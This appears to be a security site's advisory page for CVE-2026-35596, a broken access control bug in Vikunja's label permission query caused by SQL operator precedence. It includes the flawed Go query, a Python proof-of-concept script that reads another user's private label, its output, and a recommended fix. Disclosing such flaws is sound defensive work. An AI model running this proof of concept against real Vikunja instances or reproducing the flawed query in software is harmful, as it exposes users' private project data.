Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-35596 — vikunja

🟡 CVSS 4.3 — Medium ✅ No Known Exploit CWE-863 NVD
4.3
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Vikunja has Broken Access Control on Label Read via SQL Operator Precedence Bug

Summary

The hasAccessToLabel function contains a SQL operator precedence bug that allows any authenticated user to read any label that has at least one task association, regardless of project access. Label titles, descriptions, colors, and creator information are exposed.

Details

The access control query at pkg/models/label_permissions.go:85-91 uses xorm's query chain in a way that produces SQL without proper grouping:

```go

has, err = s.Table("labels").

Select("label_tasks.*").

Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").

Where("label_tasks.label_id is not null OR labels.created_by_id = ?", createdByID).

Or(cond).

And("labels.id = ?", l.ID).

Exist(ll)

```

The xorm chain .Where(A OR B).Or(C).And(D) generates SQL: WHERE A OR B OR C AND D. Because SQL AND has higher precedence than OR, this evaluates as WHERE A OR B OR (C AND D). The labels.id = ? constraint (D) only binds to the project access condition (C), while label_tasks.label_id IS NOT NULL (part of A) remains unconstrained.

Any label that has at least one task association passes the IS NOT NULL check, regardless of who is requesting it.

Proof of Concept

Tested on Vikunja v2.2.2.

```python

import requests

TARGET = "http://localhost:3456"

API = f"{TARGET}/api/v1"

def login(u, p):

return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"]

def h(token):

return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

a_token = login("labeler", "Labeler123!")

b_token = login("snooper", "Snooper123!")

# labeler creates private project, label, task, and assigns label

proj = requests.put(f"{API}/projects", headers=h(a_token),

json={"title": "Private Project"}).json()

label = requests.put(f"{API}/labels", headers=h(a_token),

json={"title": "CONFIDENTIAL-REVENUE", "hex_color": "ff0000"}).json()

task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h(a_token),

json={"title": "Q4 revenue data"}).json()

requests.put(f"{API}/tasks/{task['id']}/labels", headers=h(a_token),

json={"label_id": label["id"]})

# snooper reads the label from labeler's private project

r = requests.get(f"{API}/labels/{label['id']}", headers=h(b_token))

print(f"GET /labels/{label['id']}: {r.status_code}") # 200 - should be 403

if r.status_code == 200:

data = r.json()

print(f"Title: {data['title']}") # CONFIDENTIAL-REVENUE

print(f"Creator: {data['created_by']['username']}") # labeler

```

Output:

```

GET /labels/1: 200

Title: CONFIDENTIAL-REVENUE

Creator: labeler

```

Label IDs are sequential integers, making enumeration straightforward.

Impact

Any authenticated user can read label metadata (titles, descriptions, colors) and creator user information from any project in the instance, provided the labels are attached to at least one task. This constitutes cross-project information disclosure. The creator's username and display name are also exposed.

Recommended Fix

Use explicit builder.And/builder.Or grouping:

```go

has, err = s.Table("labels").

Select("label_tasks.*").

Join("LEFT", "label_tasks", "label_tasks.label_id = labels.id").

Where(builder.And(

builder.Eq{"labels.id": l.ID},

builder.Or(

builder.And(builder.Expr("label_tasks.label_id is not null"), cond),

builder.Eq{"labels.created_by_id": createdByID},

),

)).

Exist(ll)

```

*Found and reported by [aisafe.io](https://aisafe.io)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality low, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-35596 is classified as CWE-863: Incorrect Authorization. An authorisation check runs but reaches the wrong conclusion, permitting actions it should refuse.

Affected software

CVE-2026-35596 is recorded against 2 packages.

  • code.vikunja.io/api
  • vikunja (fixed in 2.3.0)

Timeline and source

Published on 25 June 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)

Other advisories for this package

code.vikunja.io/api has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-863: Incorrect Authorization) in other software:

Details

Severity Medium
CVSS Score 4.3
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
CWE CWE-863
Public Exploit ✅ No
Source NVD
Published 2026-06-25
Updated 2026-08-20
Modified 2026-07-21

Affected Packages

Software From version Fixed in
code.vikunja.io/api
vikunja 2.3.0

Similar Threats

Vulnerability Monitoring

Track new vulnerabilities in vikunja

CVE-2026-35596 is rated CVSS 4.3 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026